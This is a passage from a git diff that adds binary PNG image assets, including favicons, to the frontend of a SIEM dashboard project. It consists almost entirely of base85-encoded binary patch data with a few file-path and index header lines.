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≧4oRZ8(q%QwEA)Cmjw}H! zx4!gc%zNe;jBjc| zGaFYX=hnv|+jg6b6VE+|^*;))-~Rx7oGQL1P7F(hWXdsgsZV6qsqR;|56|Bfs9F#8 zOF*k{)Fs>10=SBjs4*D4W-E7{;tUn3WRbX1nH(w&hi$Vh*gloTm{baV)d5W77IK-u zbmW*t2Ru8_jYslJF|Q@S_6NKU<-j3wA)h+H+&Ob_&9zr^)1!bks^3NsaC$FrVvs@y zH5&o*@2BX|$p$`Ot>BTUin~hvcsdNQgc~CL6k8~aqn++bB~P9n!DHYsY3Al-AW)PPa z$zP<-N=(@|1c~=h3V_ZA5tbN3@NGfLxflz`B?k;#j8#x3S1b@*MYdxgW!UrJw;|mz z8u@Y!5&fE)bNKt;{)+B7b1{MN*}AC}Z3IS#OQDtFITqkt2Ay17E}~r9Lm9 zHIMnsYcY2ZyL)?)FXqw5g=3lOyZf%Z3cow!Y;@lBAjXt|wm3xZKpt~CISKj-C{bsA z{0S$bh3f*auFe^fzYQ@aucS=(N)oMY8i8~$3Dn}uGLt-#@Wj0#Ob_N|1(QL87)D4g z*-W5?1XY2X9Vv3)GP!CG{fd+^K|tjwzrOQ`_aLS&IVAWE5xN%4$F-OL8RH1lZMo`e z$rmw-ng+*7P>86mBbT3BDqv>0Kz(%t@UakChymueh;^7nFwUk30yCt@-J2M{$VFvL z5rp{SqS7$Zcec5Q4{zgp(4k1000mGNklv@#94h7qqW;!iKOO+y)ELx0X-hDLMT3Q(r zbBZ#C`L1Cub#plXvTKH}dS=UdX6TAsyOPMF#hDeEJQHM$0KwZ{1tuelZGvWuBsa`c zH{4CI<;g{Boew;U*Q8r9k(rEb%Az^t$VICtv!}yah^A~S z2FMXBq==BIxd=vZ2dqGv;AV96klW6oe5fTf@^laLe3eAtB977!cSoxhchrT0aIV1&q(;&=H1ESc-$a-L~7KTB!g88^}rL&6ypQT1*A)h4Ed%7@l?p(y2j3LukDBC-5DeOX=`Nc0{+VrP!@S%tJ|A`a204e%A zGk|196T|n?_zmCM4Q0*vn5Gzu8fD$sksA9xR_6g`}_Mbonp%D>C^G#4L4zQQ!_cc!MGt4aUq*& zZNfX>bEN+Y(>sqi!gFoMx|!nyG?4$tFf&gqZrI%oKqo`OL6S8^?kTQS=FoK;xnn7h zG=VvZ+ulLBh$eEgHb!h=_@uGpP~z^IlOF-xGkY$^ggK0WLz-ZV$qiE}Lr4zWlyX$J z0Y#=IhACVafe27~fN~r~=n1e(W(4-lbzrw#JGONxY{mLb{q?W$&_%yT zZoxu~Os5bqkA8CT8YhPZ25k&E@X`dN0cS7*Th`%9zP`h?azkA&ilhWtj2gLhKLLhZ z6AJ7heVRbv@CS>k{cf*p3bq2>6)0h#794%$qh1qf;TqrPF9;x|m|hST3x# zU_)Bv7J6xty%ER;Zv`)N7@+ZZxq{mXsQb(PSegdmRYQu4P;f%DG0wykFojQoJ-M4V zIt(CLTCu<<^? z%5%@f<2T-bfD@QI`93yKe9rF5)7qveNBVa&5*AM=oTD zQ6eY?*ehL&2j4U7V<0#{TU@M29_8^8M$6G+Tv`C$C$Wf2E zFmnV}2h)#DWk8t)84Em+)y)xqVz3}HM2b(am5{=Gx*sHGp2l+e$TdrxToI}$#|1<+ za@$OV`NgGJT+V~ZAa$S0GXg&3)1{eh(Dr%<^BYg?#jarrlbL4=H6blw6&8D}BL`_M+F(2@0g>`+c z!~EEz>oB*CIIDf_YAL{-xS$eKOXg6f47!wYmJqZ-E{g$jv1$ZJ zCXUF(I_W=SpclQg*DQ@3W#AMyL3$|r#uO2nA|uBPSQ66^>@@=-f<)Yo^9jT*Bv)4> z!_x%YQ(WxzaN-m>u?DgsI;kajI$y&h+}-P9xj~eIivuX1n4CAoa+_JNG3gK;d@_uo z{Jl+>MU9gqpa>BatCX#CNSQ-EDx%j_Ftb*`Aq9tg_Hetb{ zh1mD?ufsWCITw5FxflDu5OAV6=P+Ea;ajtz>@flh?1`8lgOEiowUpfM(Sbh9rb;Vx zX#^FZ#WJXo+jdfw7B|t(O^%SeZ6Mbwp~}A+%7{>5K4CdVQ#C+j)J#yNmnNWFEr7VE zw~j96Aot`AQv6lH*FIEg$9suAvF`F|_);%}t^+&EC6JCBD7CCrZ;ik4#RfCO+I zh#&@^91iIq3r(Pz#S*n4X)Iw~p5v2bX0?a~1pN|DfV`!VW1Cv}}%QW{r@-V*owXad^=pr`{P~>FN_pVPl{d2hVvP=CxOx5{zGqq)S zfx`{2>TI~$kdcW=`wGN_MuY%Wy801gDZ$ZAuB;Ctjv*+<^UJC@j`nvvt0YUip<9U+WCXd4PvqgnG}&Di!1%%j+pXW4tSjm3_cc5D@7Fq(C!Q2t&- zb)(dY0mUL~X~RR@l7EQ0>P4KGc|LjWyysq=|D&I9Z2(T*8cO8&3l}fOxbfpLcI;SG z*xsbR!^w2RsWKb7F6s;;2d#=Y@G!?kmqV6vXh5)1f6NU)HB!U#eG2uNC>OD@hFaZh^H2wuH+ z7?BezG&YAgaEN5m!x#t5GiE$ZG~yl+;T*9p<0#&Ql=pkc*<1Kj7!w%**@sdw)|4$6qeL0v#jTxqc`klg;2q=bZ=r zn~yGvBCN)+yIJ*NSEmh9p_m}%c*2Ob*js>@;Bf@95v1i*3i*)0U|5-EH@O^Qb{~;c zAb`tJ1lKVV^9ZYH6j7!TQ1b|;0vs}Yq?ajTROs%b85sy<5Pl@u1x$w+EYXvh)m;Yf zuKP#eY=Yt%^EBnait>i6Y1X^LfL%j}{jzP?D%FHBR6CAHrCB}@@Cg&d6$C85h4tSi z*Nk17+Az7b9i>_s+HowaT#}g~;>0Ua?|%7Jm*b{?-Go-E3V(Y3PjU6%{)V2O9!PYF zIiWDjE{@1BtI>w2j;YYtgGg2v@iEQ;&2YdtwCJNIppT+O#NE0y5u})ERG8ioZB+t>ycZ$km5EEv9i-^5o7nV*YQT(WD0k4$U@VKj zSbi}-u$GZ00|-3j-^O^`r<(Da<~Hn`8-Wf^v;l7T3{XtaL@Ti^j&X8)q@<|%2wfUE z7oaT+ktVoHoLVISoD-~$^Ol%>P_C4)w7Uzx{r!cw=Gtp;+tjJhzp*Qq%hW=$-Apsw zZq|OdRcQm%hs@E)HYK})I0;#Wc7kUdwGU%0Muz%d3KQ6xD!46N1{p5!vi$`to-q>| z+?Yt1*V%~)leb1lu0DcXeJr=Gn<$2mVM0elGt4+g-EW#@N#+d+9TO2~0mEXZ0|9Dg zWWoeB%NGY6Okmv@9g$3qoN;D^05bF(6XeiZ%Yr-Dc$ONC2m6*_31#giTujd81nA># zV~L!5fPkMJrZ6?%kH7bI;kwQRn8wLiU|ul`NI0)vzz~(Fntb-zXQ4Or^)K*}`moqx zd9z!FWxa;9QjP=3r5pm9wEze>xRZi3UY~Boe>IK7n=@_LGuwi(D+)i3Z(IU@0U!ctYkG{qDN1+Q-s|8$N z>c%xaos^kNc!mqRh1BX4m}AUYA}%h#f|r0z!{0U5d$5?HI3gc7%zo5G!>md}U!9mm zRuQ8{?&t{6Q3UK>BgbI3Tr0*CI5|GL9XCz#lADR7)>I13=@5O3=3`V-Gh%XVZCYdr z@@>XX#17n)&`Y(}--j^-%q}jC$zc{v1l|Y$8RJu(c0Pe ze=p`e_Z)Ie8}qU5B6g((m^5ZQwusW$G1GzxE`nxDMBG!P7=C2uZBFTR+iEEn~ORV1ttJ{XpZ@q7ZPkq+DChIh249_A7 z01Z-}i@3Q|X)UE*x2sx3A9wvCf)GIfdcmmGsByv6^TJGwr6!?DK-UP)UY(KHWhX@3 zdCQQ~w`Ht;oTmh_Bb1He3W3Y|f{<33W-+sh!5_kzKCFwR)%WSJsm+G0h^g?HV`|VYp?3H><1!Z1N|;kEB7gZ;000mGNklIX6te65G^AvE)9Lb7fJt(^b6fZ&{Sm7cNz@&&& zbTyPwW2zc+sBr>R`NXM#Nx`V}d-;0-W*V90xPnG($&ph1c|3L3-Du6EkSF-N2>eo02HU-EKj@>2iz#>aQEqJ`o5eH|FUyKv5$Ly! zWUGhJM$Q~NR<7=WdcMmX8>ykb+(@gwZmZ34_ZjL*>R-l8Sgao>H=HnIaFGfk*4!VFaYidFtxpcq97$_DA0HDl8RU3EOrr&)B zMm49YW-f#4N6hXYz}P9fWAxTrqBTszkxN&&(5#WuFDeb7pK>lJN7o4Uh-9%LAhJ{k zyu_t?CNwyj{KT_k=8@Rtju@#%@_zcEhYb1Aswkc!wmYI+4NXwSA8z-5QlAE(m-SZ7 zjKfL?M_k`#eq^8vxAZTvBd4nd_Qi$2DU30!c|m?Dsan1#>}0=DcH6N>P}q-(sH>Sf~$PQ0f0 ztNP3BOIKY6XRs048-UiJ5zH~wTrv4>K-NVq7-nz*_e8CLx!m#Vrt)_I0XUBUo`_{=7wa;I_LlZqz7Lsk(ENWfw2)f}1oB+rQ(jSei|fyT=F_zm4j@ z9L1NwgSkqXw#FL7h#Dioet7kFqZ`$SF@Iupg+q#FNZ{!^Z`zyy?P1L!B;sn636@gq zD5o>%CLjwGAtLT3&Y@2Fy4!BS?B`!VOKS`A19`-p70=9>hmI+GVDdq4L0?mjaySd( zcJr7p4V~%m&jfOEy(z;GG_F_Q0~*CwpUb9@0}&Mwuobo?BBzew;3!9@siq4AY687x zt`1~wXBWt23v`#sxubL%3wnBR-HkUOl}@8bKOM-2W$;{gFD4)SUl{eq*Q2wE@^mVL z_8^TWmZ6(jvqau3pTCX!RrWvw(Ck11;Tu;0>YR00UYyv2jiN(Dxw69W66M?)%>jxU zd5RUOR0@5SGIFUjMiBhXVTk9ZO~=y@KZc28$D>MFq*|yVPkLm=Y;6Dbw_-BIkMf9C zfZO4jFol31HeZmTajlykXaJi1C^)5L3Sb1Vk$@PnMO^#WQ1d1O>904u`w8eYIc(k8qoO+-vv4v1goy3A^rsmbMW{ zaUuj1WsGS}0H+A!$oWNP^j(Em49o`muWVm6-Qf61nEVnlv&6c|m<>R4C<#@Fh)t@` zK#F1H&LDt|;bhJ*%FJO5f*V*&6)B~GD5phOMn94LGc z;KmT~X+SoS!pqc#ETN3tUnrx^(gbl0Ekyj-R0?e_KuFPLpldPi_~$>+O8@p8LC4pXK~!7jV(f~~gN3hnLf9<%~$K+p^PW(L^>W|;!B$jqR4 z31Qh~W-zm5u8rSt8-EklO$+?ujN>X(04JgWIheiNB1#8{Vcg}5(OD>>$}ma|Xy(qL z{(s>%sWiqB=%XlSFL~-oJaN^v7}qs`3E2!Ha`jm6Us-@Mx&5=VX5j8e?#DyZ9!FRA zQnZmXZ@>L^*mvK3@z%G#75W!=ha7SUjy&>6eDtFq#iu|0X?*50pYi{&^o%pk!0D%- zj#E!P)%$(yV;{pi-}z4Lv(G-z|A1_3YeP1hMFMbv*jJU}jG4jAi@As_GDb-8q=_7O9C5N^kioX8EXGo0(ll=|=G<^A z(zE7aa&t4%46l|-s8*{82!66x^yde#VBTCzpY{|UdgvkCfB*fs>(0Az=N)(Bj@$3V z)Ty`OhJXGOH{N_BZoB<9+IP0vl zaMDR9;lKmmf^E0m4tl}WjCFSoW_1&r=;b!icD?Fm#mpfgTI+X>24&GIL97prKdVpW z5+qTWK{lO2njmi_Xgi4hu`WQWQb63f7&C9W8J&0EiwT(!TeP*nQKpW#paj)_DXIn? z*}P+VBd523Lt+j_KXW0B`546z)w>)H#3;Mn1H$;23=<6U1oLDJBIO( z8^(2eRaIN(iG^+gS%&28UXJhcl`0x{P4r*?(W8}yY7lle)1%O z`-?dC*yAu|%HC+9CI)aYrZb8{j`cP($P`HqH#3;=dBus0jo@+{K^=!p73-Z9qs9TQ z28LcLl4laM4-^J)SARF=abcEgZbt_?7A;zYXP$Y+bMM~Xe(bQrjyUne z6LIF5U+}Veb2BF*7q!YudB`*~PM*kvImt_5!=375G~8=B4C-gg>L3mc&}9y>1t`(% zB0WtJ;?8_G9vT!bj{F24%^H$tpwjFnj?Gi2&X@X!tM8>=jPim`)}9c ziA%4*t-rkpH~sQL-1f^q;Gh3@A+G$t3vlsoe}fAzybu>$bRjPM{qOO+-(7?&ue{RB z(sSm__3FLRqeo-Jh;}qnPLHC<15pb>*#$XujFZ}Jz|13B4CU3nnMxco@yR96nk)A zp&tt?6>1tX&`Y(cC`L24(c6$h3)7AZQW($PZ|mzpZt;AK>|BB!It$omaS5+oQpFyf zWsF?Xive=iMT-|;;lhQOM-D%C?i_O3CviI$h*w|zSN!1*zsD6S-kO$Z-jK=3KuaU z%s7E%*$9YTx)IcJm{d`K*3bs5kF*_*a;(7WK!g(IWk%>?k3LTj-CHW)j&dH)Sp`KG z!=JF@!Y`tzQlqF+bxcG5fRi9inYe{{wNO0BmWs$yCLi6D#bg3+bQ8q^%CAPw3qAz| z&>GEhxr975Bz=9om^*hi9)0u?+)Pc#rI%iU>#zR@7mfvt8#k65SGA4M)RcpO`{<*O za`E^eBvx#__15%nLRVK89)J8XbW?qJ40YfqQA4uRPCI$-FOEGJ*k|(3URoeL@ z3rM&WD&*Gs-`|d-k>X+!*%S&~Fh1MYg*nB3l$n2ulZ5jC5&=Xp^ENZ@)*?}UHBJis zUv+`@l1nbeb=O@7ozL#*=z!uhH#c#EW`ATdXym?tSQWFIcYMO)!ho)z_e2F?824Y4adv$K+JFfI3ma*Bcw?+_98`P z`Y@0YVu~O&iXsJS5cDqMVrnq*jHhqK8M$jn;HAnn=(7XPrIC+;JmaRq6lzq_3Hb^%(z7I+2ZC!c(hz`Y#*`q#f8V2&C!3UlVn z!C{9Tf`blv3+7S(ef#ZGamgi@;M!}iMSp)Ew%cwy3=9l-Ey;fS?dSE`C+0@Xwer0|KwOwKi^2 z)P%?_(!?=)ak+!*up#VjLlnBvmZ|X*Eo*?06FUM`fRnxM9RXG$SgV9)48087Nsc^6 z`e6nYf;1}R#1X-v|L0Pp&RJ4M5D@$X>{5=%Gvdr#M86?g z$u5d0bBkmb$Ch^Eh8u41i^qu*Cwgu?Wy%z8zP#7V(aNt-$a9nCXq6#B%&k<(m>zYY)qf=%h=_F`uS^j^ z{~r1IxQHjnd1rE?q?ckvmE0{N_pK0kHFDws%E(=$PP%(Y`XqwB#>DIa##K4A;H55s zOyOq6Bql4wsS}_p{PD-1zy%llhAO)%#gDm|IB^o*{N^_!mC_+9EJRp(7ytkYyGcYr zRF}zT&YX!q{_&5{HoL@?dGqE`{(chL@RhYoY|ytq(S3_nB;7%;CO20{Wf zWdWMV^>V2!rD>p4rcRo&a2RB;pj?FhW%6w5FBVe!(M`4805u+c1}x={Uy*E?Sui)= z%n#J0(2I_>zXj-soL;6#02K+?a!ao*P-_QKA2HVvRh{%pbEh!@rQ%6knLT?pH6oWm zi%f|ilE05V_E^uUC08p=QZtp2*f)gfHbkMDVwvKeRids&BC{m~4S51}i8ffcHQq%X zbAPpl0y$_pTApx6AfwfR5 zP9Pxio5Q*3!R;v*oNEh2OfAJMU|8f zH&aakGh0sB09OOh>!{O-JrBZ|@^FoLmMAjh3C_Gs4zlECZMt+J#sHU$1Jrm(^U=w; z3n`k+qiC_9Qo;ab?uhXL!@9Tx-c|Dvn9U4k27Q%Z`f71$?J|DwgCF#o4^0Ho;ItA! z1ZXWTr54n#;_kce?(bji7WSVwX~|K?}SBf!#&GE-d9C z;4Y**yNDcn5xMkY>ZYX$DJnU^4b2W}MCb(hBa*D;ekCNZiOkF=7f=Osi4zh*Bp+XP z*=3kNf4-ObC4LCpN~3r(l~B8evP<;Pc6(o6pFaz-+ittTj5Sr86>$Sn1JLWR^SRDL zU517?0|L`glK~h-5KxvjZlD-C$+;ISqfUw({Z#2yY7$yF90D@Qn8p#x@`Wzb&#NPW zQ6!KmCo_YY`9+{qbJ~E>B2TY(38VtPNO47)07=@XpMDxQ-E@=JQ%g&tw`3H@%w+g{ z&FXgVF+@M?!67PXGbl!!lvwoOtr3g~36uho+*SJPQ@urwwI}vVm87%={lQOx`oPE+ zOu-22_*Q)qQq}^iHd6ln_rH6+^xNP5c8nP_24?2Dwt%eogH4^azUr#0ygYr-K?nIm zO=hO-JSo1n4B=0`--fWjVN%rksRnzKOc^z@YHfu_G+~6ePBO{#R0kOYK9x2&gMi5ilp1yU{iBv)+eB+HbLT>4%wHQ>micL&$Y{fM*zd<8WMe!70VT!A8nL|kp zK(C|TCSI54v?kysab!xg5Rrv>TnpRFDaolG(Ypp&y?b5#B%n(`D8S0^i6@@$hySIP z(+NDYdaD$c#F1Sjx3x*6t==D`nBi~`)0|KZjIoN#Qfd~8><2nzmQ+G+2 z*$QyV&&)jczUQ8M{7bmfc!)D=qG)m`jtJ}dY5;mYcksrTy|}7K0Mu^at+(FlIj#;R znbm=;FtyEWgIlHL14VQJgz>uK(Pa^wJ4X zlW>^=xS9D~N4*)NGt*MxiAyK(&DKA-8-UhmG-!Db2$+LOz}7-fqJ*>^I%Q{OKE8mO z#PuHhk$9nlPTCsRhbGO;FCZ0{!R!5Q0D8T5@y1s`0#boFv5QOVHLf?j;SGK(Tsmj9 zECH&SdG4$?V}2Kq#)O_X{O{XmKdfV$~*^*>X;- zczPi~Vv5d%C=U_V^VI zJ9cbChF0e^X!!Ji04ksgr1~hk&P$8T>T>g%YO0MEO#*2~%xp;1cMT4`rqO8lzo-YK zg3}AL0;zTm<<_Fm%$CO$_(k$in7-7MPN)5XG4WT}`l1G)*H_POg87O=OC={2p0>9W z&MTlMlr&pz$+p`VNHT8f*4{e9*dv|)HMO=E-xMsF|aj4IV z3EXCNK%3P~tf#91==IdGn_{+R=GAZd?14lNspJH3i55wF&FX-aznMY0>;C?JFLESt z)~DG3^!n`GO)PJLR87*E4T&9l?6HT}V3?U-@R^x{y`LXoa>lP6>Fg3rvBgIVzt60nD=OB#S4s-E7&%8^P=i^NHjCV7CH znHMX}Yv&EHOf#FxY$Vy}j5m9KfvJX#iTi(4e*M0dZiF#Es{le;(QfU-hd=Yn|D8 zh}Z!1dg#EdQ%?tO|)$S@nF)oqIE=6+u&;Q>NZ*AKa|wq z&_mhVn?P9tbkYoQWxeIC6Lqpnu1>->l-U6EhU)p@U+x-fn1EUU)^SqF&;qnsT^w0s z!XXG~0D1^Ic~dIFtPWZ;^ZI9j+RXg-?}kG=8-N}Tqp%UxVK8@=UD^(P>LB@tLu!hd z$=D#&0Q3gw_D!Quac2QqXEmhh5Wv+knPwXX)D1vu1RC^;dO*O{+u!2Q6DCaXB8b_B z0dmrS2B4FkXqd042gIeNkJjf3k_^l?9H<+BPDbHBF&lAx517@@N9)Y9nXSa3#l02D z%w!B1H2^(iUA^fQlz=t?w2qP{tuz~2ASdNE0G;$i!+b?OU}n&JhWfvS+9@=v133YE zV!ooxUqPY zG%T;C2Lxi#tI1T3W1 literal 0 HcmV?d00001 diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/favicon-16x16.png b/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/favicon-16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..fb7d246e5c8b6e9d7d60d9aa2f5be7c6addd66d8 GIT binary patch literal 532 zcmV+v0_**WP)65Q_>o;%xHprglt4X^fi0{eFD33TNjEOp-|~6mWGi9{mAVlh^7%Pa_Se|h9NuhiQ`^~LZT&Xo>lrnb zQv7!*fXs!%VUo!tjYfl7tw!hYkQ@0`)~_yd$GF9#`wu9suF2MbY2Irv7|`i-nEV~L zxNwPO{W8y9ywLX{QQyjYLn(Gg#4hfQmYer)sd@e^{n z6;bui6yT@)$aNhS=QV!1E*~tDtsmbxIQZx{h-fC@o%Nf~d+(_j2IZ1L$+$@>l@gNR znF+APCv5e;@%8O4^?IHC{XLeJu93-P0)&|W*=0^#UR%F77Tz>Xv1FeZ4u@(_WL?^+ z0NL=bS(b&|lks>wO`i!MRT3blk+HNh1N!|wn&!*?00030{|y|BTL1t621!IgR09B! Wji?|8!*f*t0000FMBQv)L?}zO}VgT6ukaJsKJs(9+U^p`jr-oKA=i z5q64W0xjJ^mST(wd+XdbViRC$Y6>Qk3B$v~7#SJC+}s=-4u>>Yr_-Ujx*FWK=Si58*NY9*OF{n-TIzV;PjjDagIFE2+yK>@nDy3p9z zi1zk&m_|pjy10nHW@qvFrAsIwmt+(bLA_wX@ngpj8xteB#dp5{D{lh$4p1tU$jHb* zQc@B+Iy$7ZND94>{PN&CJ}vE8B?-q z02+-(iUp&zO1|@*6w5e|`XVyB*`>4B?T7;Gv-P16j!KaYNzu;5r>dlhX#= zvfye*Ctk?SMOb+FZAtme4?up{R_iZr5jrxg`0t{m)J0u4oi1E)+A%EJ@hC;cWO9Sh zcNL%2zKi$I8W9#2Mx*4vfB+cHp5jd~e^tx3&$qs6I0@ zv(-;>JHLPcxUiXmPM=G}Sl@RD%gcgYpaV%UgZFVjH!0=02mGJ6?w$e$SRw#3ZM=nF zZ{X(C44x=Gh5WpHWMyR`EiFwt!ok78yKD974H$s0&Po^0&*XFUz!0>(14txuhq?ic zMvIh`r%_SyCQ3?PL2PUs7~?y~N8^rSzyMsHLzv0eUy3%kDI5ol{)CZh*U;D3OCkFU zdP`h}gD$G5C>?U?D5_K{E+(7y1;A(G5KD05D+2k(v4LA;5#G)df7tZ)_CgSXz#}TZ zVHuOR#J&NzA{)8l1_As|`vSD-c$+t^uC8Koa#DI*@Y~a1FnGJR<#z?(orzn+TlUT8 z=jXxSn*6!P7?a%(_XNOK>CQ5DhhDG8EbWzuh=`rtIB_`wzf1 